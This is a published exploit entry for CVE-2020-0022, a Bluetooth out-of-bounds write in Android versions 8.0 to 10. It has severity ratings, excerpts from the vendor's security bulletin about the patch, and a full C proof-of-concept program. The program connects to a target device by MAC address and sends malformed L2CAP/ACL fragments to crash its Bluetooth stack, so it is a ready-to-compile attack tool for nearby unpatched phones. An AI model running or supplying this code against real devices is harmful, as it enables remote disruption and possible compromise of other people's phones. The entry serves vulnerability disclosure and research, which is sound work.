Android Bluetooth Remote Denial Of Service

2020.03.27
Credit: nu11secur1ty
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-787


CVSS Base Score: 8.3/10
Impact Subscore: 10/10
Exploitability Subscore: 6.5/10
Exploit range: Adjacent network
Attack complexity: Low
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

# Exploit Title: Critical Bluetooth Vulnerability in Android (CVE-2020-0022) - Remote DoS # Author: nu11secur1ty # Date: 2020-03-24 # Vendor: Android # Link: https://github.com/nu11secur1ty/Andr01dExploits/tree/master/CVE-2020-0022 # CVE: CVE-2020-0022 [+] Credits: Ventsislav Varbanovski (@ nu11secur1ty) [+] Website: https://www.nu11secur1ty.com/ [+] Source: readme from GitHUB [+] twitter.com/nu11secur1ty [Exploit Program Code] /* * gcc -lbluetooth poc.c -o poc * sudo ./p0c_blue MAC_ADDR */ #include <stdio.h> #include <string.h> #include <stdlib.h> #include <sys/socket.h> #include <sys/select.h> #include <bluetooth/bluetooth.h> #include <bluetooth/l2cap.h> #include <bluetooth/hci.h> #include <bluetooth/hci_lib.h> #include <errno.h> #include <unistd.h> #include <sys/uio.h> int hci_send_acl_data(int hci_socket, uint16_t hci_handle, uint8_t *data, uint16_t data_length,uint16_t, uint16_t); int main(int argc,char **argv) { bdaddr_t dst_addr; if (argc != 2){ printf("usage: ./p0c_blue MAC_ADDR\n"); exit(1); } str2ba(argv[1], &dst_addr); struct hci_dev_info di; // Get HCI Socket printf("\nCreating HCI socket...\n"); int hci_device_id = hci_get_route(NULL); int hci_socket = hci_open_dev(hci_device_id); if(hci_devinfo(hci_device_id,&di)< 0){ perror("devinfo"); exit(1); } uint16_t hci_handle; // -------- L2CAP Socket -------- // local addr struct l2cap_conninfo l2_conninfo; int l2_sock; struct sockaddr_l2 laddr, raddr; laddr.l2_family = AF_BLUETOOTH; laddr.l2_bdaddr = di.bdaddr; laddr.l2_psm = htobs(0x1001); laddr.l2_cid = htobs(0x0040); // remote addr memset(&raddr, 0, sizeof(raddr)); raddr.l2_family = AF_BLUETOOTH; raddr.l2_bdaddr = dst_addr; // create socket printf("\nCreating l2cap socket...\n"); if ((l2_sock = socket(PF_BLUETOOTH, SOCK_RAW, BTPROTO_L2CAP)) < 0){ perror("create l2cap socket"); exit(1); } // bind and connect bind(l2_sock, (struct sockaddr *)&laddr, sizeof(laddr)); if(connect(l2_sock, (struct sockaddr *)&raddr, sizeof(raddr))<0){ perror("connect"); exit(1); } socklen_t l2_conninfolen = sizeof(l2_conninfo); getsockopt(l2_sock, SOL_L2CAP, L2CAP_CONNINFO, &l2_conninfo, &l2_conninfolen); hci_handle = l2_conninfo.hci_handle; printf("fuck%d", hci_handle); // -------- L2CAP Socket -------- // HCI Connect printf("\nCreating a HCI BLE connection...\n"); printf("\nPrepare to send packet\n"); uint16_t datalen = 33; uint16_t _bs_l2cap_len = htobs(datalen); uint16_t _bs_cid = htobs(0x0001); uint8_t packet[4 + datalen + 0x1000]; memcpy(&packet[0],&_bs_l2cap_len,2); memcpy(&packet[2],&_bs_cid,2); memset(&packet[4], 0x99, datalen+0x1000); int fl = 36; int i =0 ; hci_send_acl_data(hci_socket, hci_handle, &packet[i] , fl,0x2, fl ); i+=fl; printf("\nSent fisrt packet\n"); hci_send_acl_data(hci_socket, hci_handle, &packet[i] , 300,0x1, 300); printf("\nClosing HCI socket...\n"); close(hci_socket); printf("\nClosing l2cap socket...\n"); close(l2_sock); return 0; } int hci_send_acl_data(int hci_socket, uint16_t hci_handle, uint8_t *data, uint16_t data_length, uint16_t PBflag, uint16_t dlen){ uint8_t type = HCI_ACLDATA_PKT; uint16_t BCflag = 0x0000; // Broadcast flag //uint16_t PBflag = 0x0002; // Packet Boundary flag uint16_t flags = ((BCflag << 2) | PBflag) & 0x000F; hci_acl_hdr hd; hd.handle = htobs(acl_handle_pack(hci_handle, flags)); //hd.dlen = (data_length); hd.dlen = dlen; struct iovec iv[3]; int ivn = 3; iv[0].iov_base = &type; // Type of operation iv[0].iov_len = 1; // Size of ACL operation flag iv[1].iov_base = &hd; // Handle info + flags iv[1].iov_len = HCI_ACL_HDR_SIZE; // L2CAP header length + data length iv[2].iov_base = data; // L2CAP header + data iv[2].iov_len = (data_length); // L2CAP header length + data length while (writev(hci_socket, iv, ivn) < 0) { if (errno == EAGAIN || errno == EINTR) continue; perror("writev"); return -1; } return 0; } [Video] https://www.youtube.com/watch?v=9C0bz-GiVUI [Vulnerability Type] Remote DoS [CVE Reference] In reassemble_and_dispatch of packet_fragmenter.cc, there is possible out of bounds write due to an incorrect bounds calculation. This could lead to remote code execution over Bluetooth with no additional execution privileges needed. User interaction is not needed for exploitation.Product: AndroidVersions: Android-8.0 Android-8.1 Android-9 Android-10Android ID: A-143894715 [Security Issue] The Android Security Bulletin contains details of security vulnerabilities affecting Android devices. Security patch levels of 2020-02-05 or later address all of these issues. To learn how to check a device's security patch level, see Check and update your Android version. Android partners are notified of all issues at least a month before publication. Source code patches for these issues have been released to the Android Open Source Project (AOSP) repository and linked from this bulletin. This bulletin also includes links to patches outside of AOSP. The most severe of these issues is a critical security vulnerability in the System component that could enable a remote attacker using a specially crafted transmission to execute arbitrary code within the context of a privileged process. The severity assessment is based on the effect that exploiting the vulnerability would possibly have on an affected device, assuming the platform and service mitigations are turned off for development purposes or if successfully bypassed. Refer to the Android and Google Play Protect mitigations section for details on the Android security platform protections and Google Play Protect, which improve the security of the Android platform. [Disclosure Timeline] Published February 3, 2020 | Updated February 5, 2020 [+] Disclaimer Disclaimer: The entry creation date may reflect when the CVE ID was allocated or reserved, and does not necessarily indicate when this vulnerability was discovered, shared with the affected vendor, publicly disclosed, or updated in CVE. FIX: - - - Fix on OS 10 CVE References Type Severity Updated AOSP versions ------------------------------------------------------------------------------------------------- CVE-2020-0022 A-143894715 DoS Moderate 10 - - - Table: https://source.android.com/security/bulletin/2020-02-01 @nu11secur1ty


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2020, cxsecurity.com

 

Back to Top